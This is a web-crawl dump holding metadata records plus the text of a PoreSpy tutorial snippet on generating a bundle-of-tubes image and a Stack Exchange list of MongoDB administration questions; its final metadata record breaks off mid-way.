"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.3412042558193207,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.0070838299579918385,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.16646988689899445,
"rps_doc_frac_unique_words": 0.31165310740470886,
"rps_doc_mean_word_length": 4.53116512298584,
"rps_doc_num_sentences": 81,
"rps_doc_symbol_to_word_ratio": 0.0011806399561464787,
"rps_doc_unigram_entropy": 4.777188301086426,
"rps_doc_word_count": 738,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.0941985622048378,
"rps_doc_frac_chars_dupe_6grams": 0.017344500869512558,
"rps_doc_frac_chars_dupe_7grams": 0.017344500869512558,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.029605260118842125,
"rps_doc_frac_chars_top_3gram": 0.013456939719617367,
"rps_doc_frac_chars_top_4gram": 0.011662679724395275,
"rps_doc_books_importance": -390.6873779296875,
"rps_doc_books_importance_length_correction": -390.6873779296875,
"rps_doc_openwebtext_importance": -205.43856811523438,
"rps_doc_openwebtext_importance_length_correction": -205.43856811523438,
"rps_doc_wikipedia_importance": -147.29025268554688,
"rps_doc_wikipedia_importance_length_correction": -147.29025268554688
},
"fasttext": {
"dclm": 0.05632830038666725,
"english": 0.851492702960968,
"fineweb_edu_approx": 2.313586711883545,
"eai_general_math": 0.12648922204971313,
"eai_open_web_math": 0.4332754611968994,
"eai_web_code": 0.008389119990170002
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.4",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "651.7",
"labels": {
"level_1": "Industrial arts, Technology, and Engineering",
"level_2": "Business",
"level_3": "Office management"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "23",
"label": "Tutorial"
},
"secondary": {
"code": "21",
"label": "Customer Support"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "1",
"label": "General Audience"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
-7,008,894,141,352,783,000 | bundle_of_tubes
Create a 3D image of a bundle of tubes, in the form of a rectangular plate with randomly sized holes through it.
Import packages
[1]:
import matplotlib.pyplot as plt
import numpy as np
import porespy as ps
ps.visualization.set_mpl_style()
np.random.seed(10)
Generate image for testing
[2]:
im = ps.generators.bundle_of_tubes(shape=[500, 500], spacing=12)
plt.figure(figsize=[4, 4])
plt.axis(False)
plt.imshow(im);
../../../_images/examples_generators_howtos_bundle_of_tubes_5_0.svg | {
"url": "https://porespy.org/examples/generators/howtos/bundle_of_tubes.html",
"source_domain": "porespy.org",
"snapshot_id": "crawl=CC-MAIN-2021-39",
"warc_metadata": {
"Content-Length": "31711",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:7NGSBVJ2DAKWRIM7M5X2Y7IJOW65OLAP",
"WARC-Concurrent-To": "<urn:uuid:c42c72b1-6d31-4442-b526-a2903504ccff>",
"WARC-Date": "2021-09-19T17:56:16Z",
"WARC-IP-Address": "172.67.188.36",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:ZOPYJGX2WNLQLBYVIPVEKFXKE4UIQIH4",
"WARC-Record-ID": "<urn:uuid:15e87c19-98fe-40ae-b1c8-63ffe38997b8>",
"WARC-Target-URI": "https://porespy.org/examples/generators/howtos/bundle_of_tubes.html",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:86c9f98c-2f83-42df-9d9f-9f255e9c0887>"
},
"warc_info": "isPartOf: CC-MAIN-2021-39\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for September 2021\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-150\r\nsoftware: Apache Nutch 1.18 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.2-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
16,
17,
130,
131,
147,
148,
153,
185,
204,
225,
226,
259,
278,
279,
306,
307,
312,
377,
404,
420,
436
],
"line_end_idx": [
16,
17,
130,
131,
147,
148,
153,
185,
204,
225,
226,
259,
278,
279,
306,
307,
312,
377,
404,
420,
436,
503
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 503,
"ccnet_original_nlines": 21,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.13513514399528503,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.009009010158479214,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.4054054021835327,
"rps_doc_frac_unique_words": 0.8148148059844971,
"rps_doc_mean_word_length": 6.962963104248047,
"rps_doc_num_sentences": 14,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 3.6775214672088623,
"rps_doc_word_count": 54,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.01595745049417019,
"rps_doc_frac_chars_top_3gram": 0,
"rps_doc_frac_chars_top_4gram": 0,
"rps_doc_books_importance": -54.1877555847168,
"rps_doc_books_importance_length_correction": -63.88443374633789,
"rps_doc_openwebtext_importance": -24.562252044677734,
"rps_doc_openwebtext_importance_length_correction": -34.25893020629883,
"rps_doc_wikipedia_importance": -29.72527313232422,
"rps_doc_wikipedia_importance_length_correction": -39.42195510864258
},
"fasttext": {
"dclm": 0.9994951486587524,
"english": 0.5714861154556274,
"fineweb_edu_approx": 3.220550775527954,
"eai_general_math": 0.9996850490570068,
"eai_open_web_math": 0.40927445888519287,
"eai_web_code": 0.2845812439918518
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "516.3",
"labels": {
"level_1": "Science and Natural history",
"level_2": "Mathematics",
"level_3": "Geometry, Algebraic"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "4",
"label": "Code/Software"
},
"secondary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"missing_content": {
"primary": {
"code": "4",
"label": "Missing Images or Figures"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "23",
"label": "Tutorial"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
5,491,107,572,708,180,000 | Questions tagged [mongodb]
All versions of MongoDB - a scalable, high-performance, open-source, document-oriented database.
Filter by
Sorted by
Tagged with
0 votes
1 answer
37 views
What if Priority 0 Replica Set Members got newest oplog
I got a deployment with three nodes: A: priority 2, vote 1 B: priority 1, vote 1 C: priority 0, vote 1 In normal case, A is Primary, B/C are Secondary. Assume the at a time point, B got oplog the ...
sel-fish's user avatar
• 101
0 votes
2 answers
112 views
mongodb atlas use secondaries to reduce cpu usage
I have M80 atlas cluster(128GB RAM and 32vCPUs) with 3 replicasets. most of the time my system use around 10% of RAM and 10% of CPU, during high load CPU spikes more than 100% leading to autoscaling ...
mahendra's user avatar
• 101
0 votes
0 answers
52 views
when start the mongos for sharding Getting error
Quickly I giving the details, I have 4 Linux VMs with MongoDB installation. 1. Mongodb is for config so in Mongod.conf file enabled replication with shading like below replication: replSetName: "...
Aravind rajamani's user avatar
0 votes
1 answer
65 views
Why doesn't my MongoDB database start?
Who knows what could be the problem with starting the MongoDB database? PS C:\Users\Yepo> "C:\Program Files\MongoDB\Server\7.0\bin\mongod.exe" --dbpath="c:\data\db" At line:1 ...
Юра Заблоцький's user avatar
0 votes
0 answers
14 views
How can I automate trigger deployment to Mongo Atlas?
I have a couple of triggers on a Mongo Atlas cluster that I want to deploy to a number of databases on a different cluster. Is there any way to do this automatically, through a script or something ...
SQB's user avatar
• 465
0 votes
0 answers
36 views
Mongo DB community 7.0 on MacOs monterey 12.6
Bootstrap failed: 5: Input/output error Try re-running the command as root for richer errors. Error: Failure while executing; /bin/launchctl bootstrap gui/501 /Users/marcus/Library/LaunchAgents/...
marcus's user avatar
• 1
0 votes
0 answers
7 views
How to consult the number of connections from specifics clients or ips in my secondary nodes
I need to know how to consult the number of connections from specifics clients or ips in my secondary nodes, I have a replica set composed of 3 nodes (one primary node and two secondary nodes), the ...
miguel ramires's user avatar
0 votes
0 answers
75 views
Restoring Mongodb database in Windows by using dump taken from Ubuntu server
I have taken a dump from Ubuntu v20 server using mongodump. I need to use it on my Windows laptop. In my Windows laptop, a. from which directory should I execute the mongorestore command? b. where ...
hemant's user avatar
• 101
0 votes
2 answers
65 views
The effectiveness of compound index where the prefix is continuous / high cardinality
schema: { time_utc: "milliseconds", city: "string", age: "integer" } index: { time_utc: 1, city: 1, age: 1 } sample query: col.aggregate([ { $match: { ...
Bear Bile Farming is Torture's user avatar
0 votes
1 answer
22 views
In Mongo 2.6, how can I tell if there are any IP based restrictions?
I have a mongo v2.6.12 cluster that I can't connect to from a new windows machine. Using TNC I've confirmed that port 27017 is accessible from the source -> destination. How can I tell if there ...
Chris Rockwell's user avatar
0 votes
0 answers
188 views
Mongo Upgrade 4.4 to 5
I am trying to upgrade mongodb standalone ver 4.4.22 to 5. I have stopped the services, made the /etc/yum.repos.d/mongodb-org-5.0.repo directory, installed the yum packages with sudo yum install -y ...
datascinalyst's user avatar
0 votes
0 answers
14 views
Advice on MongoDB data modelling
I have a schema written in mongoose, I want suggestions on how to improve this schema to scale. members: [{ user: { type: Schema.Types.ObjectId, ref: 'User', }, roles: [...
Badri's user avatar
• 1
0 votes
1 answer
33 views
Why use $group / group_by instead of multiple requests?
Let's suppose that there are 100 types of dogs scattered across the documents of my collection. If I need to group by types of dogs and then compute some aggregate statistic about each type of dog, ...
Bear Bile Farming is Torture's user avatar
0 votes
0 answers
42 views
Mongodb database hosting limitations and options
So I'm currently working on an application in node js and I'm using mongodb as the database for the server, it all went well until I got to the point of hosting the database. I've came across mongodb ...
Binus's user avatar
• 1
0 votes
2 answers
47 views
MongoDB account -- is it an administrator's account?
I'm more familiar with MySQL, but in my new workplace, I have to look after a MongoDB database (MongoDB 4.2.18 with Mongosh 1.1.9 running on Ubuntu 18.04.6 -- yes, it's old; upgrading is a problem for ...
Ray's user avatar
• 113
0 votes
0 answers
28 views
MongoDB indexing for dynamic query
I'm trying to build a query optimizer for survey response data, all questions are stored in a collection and have some fields are number_of_selection, option_marked etc. Now I'm trying to build a ...
Deepak Kumar's user avatar
0 votes
0 answers
33 views
MongoDB set field in array of embedded documents to value of another field
Within my document I have an array of embedded documents. I want to set the value of one field from one of the documents in the array to the value of another field, outside the array but in the same ...
Voldrix's user avatar
0 votes
0 answers
21 views
Find document with regular expressions in collections related to populate in mongoose
The aim is to filter a collection of documents (Requests) based on the document field from another collection (Patients, Clients, Doctors, and Services), of which there are several references in the ...
Izlia's user avatar
• 101
0 votes
0 answers
219 views
mongodb replication Flow control is engaged and the sustainer point is not moving
In a 3 node replica set (no sharding): at present p1 - secondary p2 - primary dr - secondary When I connect using mongsh on each of those nodes - On p1 : mongosh <--all-envs> --port 7253 ...
unknown's user avatar
• 94
0 votes
0 answers
25 views
MongoDB: Complicate aggregation operation speed optimization
We want to calculate the average weight reduced and total weight loss users according to scales collection. The following steps describe our aggregation: Firstly, we calculate the average weight for ...
Hhry's user avatar
• 111
0 votes
0 answers
131 views
Need Help: MongoDB Startup Failure - Seeking Solutions and Advice
sudo systemctl start mongod Job for mongod.service failed because the control process exited with error code. See "systemctl status mongod.service" and "journalctl -xe" for ...
Fardeen Kachman's user avatar
0 votes
0 answers
105 views
Mongodb setup replica set in parallel on same server
I would like to know how to proceed to deploy a mongodb replica set environment on my servers where, in turn, other mongodb instances are already running, the following happens: I have a mongodb ...
miguel ramires's user avatar
1 vote
2 answers
596 views
Assigning multiple IP addresses to MongoDB 7.0 on Ubuntu
The Problem I am trying but failing, in MongoDB 7.0, on Ubuntu, to bind multiple IP addresses to net.bindIp in mongod.conf What I have tried I have tried 127.0.0.1,x.x.x.x, 127.0.0.1;x.x.x.x, [127.0.0....
Yenmangu's user avatar
0 votes
0 answers
214 views
MongoDB 'not authorized on DATABASE to execute command' when not using MongoDBCompass
I'm trying to access data from a MongoDB which the database administrator has given me limited access to. The db admin has allowed me to access a specific document and collection within the db. For ...
AccDa's user avatar
• 11
0 votes
0 answers
42 views
why mongodb does not create chunk for a sharded cluster?
I had a mongo instance running that was the only node in its replicaset. It had about 33G of data. Now I added 2 other shards each only one node in their replicaset and added them to cluster using db....
Ssaf's user avatar
• 1
0 votes
0 answers
39 views
Storing Aggregation pipeline inside materialized view in Mongo
I am quite new to Mongo Coming from Sql background. I have a aggregation on collection_1 which involves $graphlookup (given below) [ { $match: { $or: [ { objStatus: "...
Arun's user avatar
• 13
0 votes
0 answers
16 views
How to Auto sort on one field in MongoDB?
I am new to the MongoDB database. Because the number of records is very large, it takes us a lot of time to sort them in each query. I want to have a field called Id, like in SQL server, that I can ...
hmahdavi's user avatar
• 107
0 votes
0 answers
171 views
How to add a virtual field to mongoose array of objects in a schema?
I have a mongoose schema as follow const mongoose = require("mongoose"); const PostSchema = new mongoose.Schema( { title:{ type:String, required: true, trim: ...
Ajith's user avatar
• 101
-1 votes
2 answers
85 views
How to index when the fields used in the query is unpredictable?
In collection A, each document contains up to 100 fields. The database, mongoDB, only allows up to 64 indexes on a single collection. Indexes are needed for a query on this collection. The filter, or $...
Bear Bile Farming is Torture's user avatar
0 votes
1 answer
64 views
Mongoexport for Thousands of Collections
There is a database that consists of thousands of collections, and we want to export and import those collections. Also, this will be between different MongoDB versions, so we cannot use mongodump and ...
Samet Turgut's user avatar
0 votes
0 answers
37 views
Mongo 3.4 to 3.6
How to upgrade 3.4 mongo to 3.6 mongo. I don't have config file while starting mongodb in 3.4 how to have it in windows locally.
Elango Van's user avatar
0 votes
0 answers
45 views
MongoDB replication fails around 1900 GB with error-Too many open files
My MongoDB replicaset running in cloud and onprem on version 2.6.12. The replication between the two is failing everytime it reaches around 1900 GB. I have tried the below steps but the replication ...
Abhinav Kumar's user avatar
-2 votes
1 answer
30 views
Solution to query that must examine all rows / documents in worst case
The logic of my query goes like this: Filter documents based on arbitrarily many and non-predetermined fields. The filter conditions can total to hundreds. But the worst case is that there are no ...
Bear Bile Farming is Torture's user avatar
0 votes
1 answer
32 views
Sharding collections across different servers versus the same server
I understand that a collection can be sharded across a cluster. Does this mean that each shard is guaranteed to live on its own hardware server? Or could multiple shards share the same hardware? If ...
Bear Bile Farming is Torture's user avatar
1 vote
0 answers
347 views
Connection timeout from host MongoDB compass to docker mongo replication
docker-compose file: version: '3.8' services: mongodb-primary: image: mongo:latest hostname: mongodb-primary container_name: mongodb-primary ports: - "27018:27017" ...
Alireza's user avatar
• 3,636
0 votes
0 answers
222 views
error while creating a composite index
I work on a mongodb database where I have a request that does collscan to optimize the operation to IXSCAN I tried to create a composite index ,with the following syntax db.person.createIndex({"...
Abdallah Mehdoini's user avatar
0 votes
0 answers
404 views
How to determine why mongodb stops with "signal":15,
I'm running mongodb 6.08 on an AWS linux t2.2xlarge instance. A parallel process is communicating with the database with 8 processes running in parallel. Now and then a signal 15 error stops the ...
conteh's user avatar
• 101
0 votes
0 answers
54 views
How to create replica set of mongodb in ubuntu and enable it?
I am using MongoDB community edition in Ubuntu 22.04. How can I make replica set in my local machine and how can I enable it to use in my node js application?
user avatar
0 votes
2 answers
107 views
How to handle two separate databases? MongoDB and PostgreSQL
We currently have a Postgres database which acts as our core/primary database for our web platform. This database stores registered user accounts (people who have signed up for an account on our site) ...
AccDa's user avatar
• 11
0 votes
0 answers
115 views
Primary mongo node still trying to reach arbiter after removing it
we faced issue regard replication of MONGO replicSet on production so I rebuild the replica set by deleting the local DB and initate it again with just primary node so production application can be up ...
Alaa Mohsen's user avatar
0 votes
1 answer
39 views
mongod binary path is not obtained by "db.serverStatus().process" on Ubuntu 20.04
I am unable to get mongod binary path using "db.serverStatus().process" on Ubuntu 20.04. I need to incorporate this command in a script. But "db.serverStatus().process" gives just '...
satya's user avatar
• 11
-2 votes
1 answer
141 views
Understanding $dateAdd/$dateSubtract behavior in mongodb
I'm trying to understand why $dateadd works with $expr but not without: This code returns result set: db.getCollection("CollectionName").aggregate( [ { "$sort" : { ...
Michael Cherevko's user avatar
0 votes
1 answer
25 views
Is it possible to use Mongo's Ops Manager with a DocumentDB instance on AWS?
We currently use Ops Manager to manage our on-prem MongoDB instances. We are, however, moving toward using native AWS services instead. As such, we are looking to use DocumentDB with our newer ...
Michael Oryl's user avatar
1 vote
0 answers
43 views
MongoDB RBAC limitations
I'm researching if MongoDB is the solution for my problem of storing schema-less data for multiple users. Let me sketch the problem: I've got a lot of users (100k) and want to have some place for ...
Ron Nabuurs's user avatar
0 votes
0 answers
21 views
How to create zones in mongodb
i have deployed a shard cluster with 2 shard replica sets and i want shardA replica set primary in one zone and secondaries in another zone same way shardB replica set primary in one zone and ...
Durga prasad's user avatar
1 vote
1 answer
327 views
Mongodb replicaset allow secondary to write data
I'm having some trouble to understand how replicaSet works using 2 nodes and a arbiter, using MongoDB 6 community in 3 servers with ubuntu 22.04. My actual scenario is I have 2 servers in a replicaSet ...
Rafael's user avatar
• 113
0 votes
0 answers
16 views
How to upgrade MongoDB 3.6.9 to 4.0 series in different Server
What are the steps for installing and upgrading MongoDB on a remote server that is either a sharded cluster or has a split configuration? Additionally, how can I establish a connection between MongoDB ...
zirach's user avatar
• 1
0 votes
1 answer
28 views
MongoDB how can we have all the admin privileges plus restriction to access the data inside the database
We need to know how we can restrict having access to MongoDB even when we have admin access. we as devops create MongoDB then we get admin access, using these admin access we can see data in all ...
Charmi's user avatar
• 1
0 votes
0 answers
51 views
Why MongoDB getting higher memory usage?
This is the sample Python code that I used to write data in MongoDB database. After every connection close, I restart the program and I noticed an accumulation in memory count in the Task Manager. ...
Thiwanka Gunasinghe's user avatar
0 votes
0 answers
10 views
Troubleshooting high Document Metrics in MongoDB Cloud Manager
I am troubleshooting an incident where we receive a spike in document metrics during the incident according to MongoDB's cloud manager. Does anyone know what are some possible causes for this? Other ...
Khoa Bui's user avatar
1
2
3 4 5
49 | {
"url": "https://dba.stackexchange.com/questions/tagged/mongodb?tab=newest&page=2",
"source_domain": "dba.stackexchange.com",
"snapshot_id": "CC-MAIN-2024-18",
"warc_metadata": {
"Content-Length": "321740",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:424LQGBLXZWBQ5A7E5UGHWK5MELAD7CW",
"WARC-Concurrent-To": "<urn:uuid:76189f3e-8577-455f-bb97-4117cc453d6b>",
"WARC-Date": "2024-04-20T23:19:56Z",
"WARC-IP-Address": "104.18.43.226",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:AR2XNFIATTC5VSLTBIXUKMGTHNB7G727",
"WARC-Record-ID": "<urn:uuid:a930719e-770e-48d5-aacd-363d847ef675>",
"WARC-Target-URI": "https://dba.stackexchange.com/questions/tagged/mongodb?tab=newest&page=2",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:3a3bc3af-d943-43eb-8de2-7689cad10e90>"
},
"warc_info": "isPartOf: CC-MAIN-2024-18\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for April 2024\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-150\r\nsoftware: Apache Nutch 1.19 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.5-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
27,
28,
125,
126,
136,
146,
158,
166,
175,
184,
185,
241,
242,
442,
465,
473,
481,
491,
501,
502,
552,
553,
756,
779,
787,
795,
805,
814,
815,
864,
865,
1064,
1095,
1103,
1112,
1121,
1122,
1161,
1162,
1341,
1370,
1378,
1388,
1397,
1398,
1452,
1453,
1654,
1672,
1680,
1688,
1698,
1707,
1708,
1754,
1755,
1953,
1974,
1980,
1988,
1998,
2006,
2007,
2100,
2101,
2303,
2332,
2340,
2350,
2359,
2360,
2437,
2438,
2639,
2660,
2668,
2676,
2686,
2695,
2696,
2782,
2783,
2938,
2981,
2989,
2998,
3007,
3008,
3077,
3078,
3276,
3305,
3313,
3323,
3333,
3334,
3357,
3358,
3560,
3588,
3596,
3606,
3615,
3616,
3649,
3650,
3823,
3843,
3849,
3857,
3866,
3875,
3876,
3932,
3933,
4135,
4178,
4186,
4196,
4205,
4206,
4255,
4256,
4460,
4480,
4486,
4494,
4504,
4513,
4514,
4567,
4568,
4773,
4791,
4799,
4807,
4817,
4826,
4827,
4862,
4863,
5063,
5090,
5098,
5108,
5117,
5118,
5193,
5194,
5397,
5419,
5427,
5437,
5446,
5447,
5533,
5534,
5737,
5757,
5765,
5773,
5783,
5793,
5794,
5876,
5877,
6069,
6091,
6098,
6106,
6116,
6125,
6126,
6187,
6188,
6391,
6410,
6418,
6426,
6436,
6446,
6447,
6513,
6514,
6691,
6721,
6729,
6739,
6749,
6750,
6803,
6804,
7003,
7032,
7039,
7049,
7059,
7060,
7117,
7118,
7323,
7346,
7354,
7364,
7374,
7375,
7461,
7462,
7664,
7684,
7691,
7699,
7709,
7718,
7719,
7776,
7777,
7981,
8000,
8006,
8014,
8024,
8033,
8034,
8097,
8098,
8268,
8287,
8294,
8302,
8312,
8321,
8322,
8364,
8365,
8567,
8590,
8598,
8606,
8616,
8626,
8627,
8696,
8697,
8859,
8879,
8887,
8896,
8906,
8915,
8916,
8981,
8982,
9187,
9230,
9238,
9247,
9256,
9257,
9298,
9299,
9504,
9531,
9539,
9549,
9558,
9559,
9576,
9577,
9706,
9731,
9739,
9749,
9758,
9759,
9831,
9832,
10034,
10062,
10071,
10080,
10089,
10090,
10161,
10162,
10362,
10405,
10413,
10422,
10431,
10432,
10501,
10502,
10704,
10747,
10754,
10764,
10774,
10775,
10848,
10849,
11017,
11039,
11049,
11057,
11067,
11077,
11078,
11117,
11118,
11316,
11348,
11356,
11366,
11376,
11377,
11430,
11431,
11630,
11651,
11659,
11667,
11677,
11686,
11687,
11749,
11750,
11909,
11921,
11929,
11939,
11949,
11950,
12011,
12012,
12217,
12237,
12244,
12252,
12262,
12272,
12273,
12340,
12341,
12546,
12572,
12580,
12589,
12598,
12599,
12681,
12682,
12867,
12887,
12894,
12903,
12912,
12922,
12923,
12980,
12981,
13149,
13180,
13188,
13197,
13206,
13207,
13284,
13285,
13482,
13509,
13516,
13526,
13535,
13536,
13561,
13562,
13762,
13788,
13796,
13806,
13815,
13816,
13847,
13848,
14044,
14071,
14078,
14087,
14097,
14098,
14147,
14148,
14353,
14374,
14382,
14390,
14400,
14409,
14410,
14473,
14474,
14679,
14700,
14706,
14714,
14723,
14732,
14733,
14838,
14839,
15038,
15059,
15065,
15073,
15083,
15092,
15093,
15134,
15135,
15336,
15370,
15378,
15388,
15397,
15398,
15461,
15462,
15665,
15688,
15689,
15691,
15693,
15699
],
"line_end_idx": [
27,
28,
125,
126,
136,
146,
158,
166,
175,
184,
185,
241,
242,
442,
465,
473,
481,
491,
501,
502,
552,
553,
756,
779,
787,
795,
805,
814,
815,
864,
865,
1064,
1095,
1103,
1112,
1121,
1122,
1161,
1162,
1341,
1370,
1378,
1388,
1397,
1398,
1452,
1453,
1654,
1672,
1680,
1688,
1698,
1707,
1708,
1754,
1755,
1953,
1974,
1980,
1988,
1998,
2006,
2007,
2100,
2101,
2303,
2332,
2340,
2350,
2359,
2360,
2437,
2438,
2639,
2660,
2668,
2676,
2686,
2695,
2696,
2782,
2783,
2938,
2981,
2989,
2998,
3007,
3008,
3077,
3078,
3276,
3305,
3313,
3323,
3333,
3334,
3357,
3358,
3560,
3588,
3596,
3606,
3615,
3616,
3649,
3650,
3823,
3843,
3849,
3857,
3866,
3875,
3876,
3932,
3933,
4135,
4178,
4186,
4196,
4205,
4206,
4255,
4256,
4460,
4480,
4486,
4494,
4504,
4513,
4514,
4567,
4568,
4773,
4791,
4799,
4807,
4817,
4826,
4827,
4862,
4863,
5063,
5090,
5098,
5108,
5117,
5118,
5193,
5194,
5397,
5419,
5427,
5437,
5446,
5447,
5533,
5534,
5737,
5757,
5765,
5773,
5783,
5793,
5794,
5876,
5877,
6069,
6091,
6098,
6106,
6116,
6125,
6126,
6187,
6188,
6391,
6410,
6418,
6426,
6436,
6446,
6447,
6513,
6514,
6691,
6721,
6729,
6739,
6749,
6750,
6803,
6804,
7003,
7032,
7039,
7049,
7059,
7060,
7117,
7118,
7323,
7346,
7354,
7364,
7374,
7375,
7461,
7462,
7664,
7684,
7691,
7699,
7709,
7718,
7719,
7776,
7777,
7981,
8000,
8006,
8014,
8024,
8033,
8034,
8097,
8098,
8268,
8287,
8294,
8302,
8312,
8321,
8322,
8364,
8365,
8567,
8590,
8598,
8606,
8616,
8626,
8627,
8696,
8697,
8859,
8879,
8887,
8896,
8906,
8915,
8916,
8981,
8982,
9187,
9230,
9238,
9247,
9256,
9257,
9298,
9299,
9504,
9531,
9539,
9549,
9558,
9559,
9576,
9577,
9706,
9731,
9739,
9749,
9758,
9759,
9831,
9832,
10034,
10062,
10071,
10080,
10089,
10090,
10161,
10162,
10362,
10405,
10413,
10422,
10431,
10432,
10501,
10502,
10704,
10747,
10754,
10764,
10774,
10775,
10848,
10849,
11017,
11039,
11049,
11057,
11067,
11077,
11078,
11117,
11118,
11316,
11348,
11356,
11366,
11376,
11377,
11430,
11431,
11630,
11651,
11659,
11667,
11677,
11686,
11687,
11749,
11750,
11909,
11921,
11929,
11939,
11949,
11950,
12011,
12012,
12217,
12237,
12244,
12252,
12262,
12272,
12273,
12340,
12341,
12546,
12572,
12580,
12589,
12598,
12599,
12681,
12682,
12867,
12887,
12894,
12903,
12912,
12922,
12923,
12980,
12981,
13149,
13180,
13188,
13197,
13206,
13207,
13284,
13285,
13482,
13509,
13516,
13526,
13535,
13536,
13561,
13562,
13762,
13788,
13796,
13806,
13815,
13816,
13847,
13848,
14044,
14071,
14078,
14087,
14097,
14098,
14147,
14148,
14353,
14374,
14382,
14390,
14400,
14409,
14410,
14473,
14474,
14679,
14700,
14706,
14714,
14723,
14732,
14733,
14838,
14839,
15038,
15059,
15065,
15073,
15083,
15092,
15093,
15134,
15135,
15336,
15370,
15378,
15388,
15397,
15398,
15461,
15462,
15665,
15688,
15689,
15691,
15693,
15699,
15701
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 15701,
"ccnet_original_nlines": 434,
"rps_doc_curly_bracket": 0.0010827300138771534,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.29330530762672424,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.03182227909564972,
"rps_doc_frac_lines_end_with_ellipsis": 0.11034482717514038,
"rps_doc_frac_no_alph_words": 0.2554788291454315,
"rps_doc_frac_unique_words": 0.30391404032707214,
"rps_doc_mean_word_length": 4.674980640411377,
"rps_doc_num_sentences": 193,
"rps_doc_symbol_to_word_ratio": 0.014410089701414108,
"rps_doc_unigram_entropy": 5.7107157707214355,
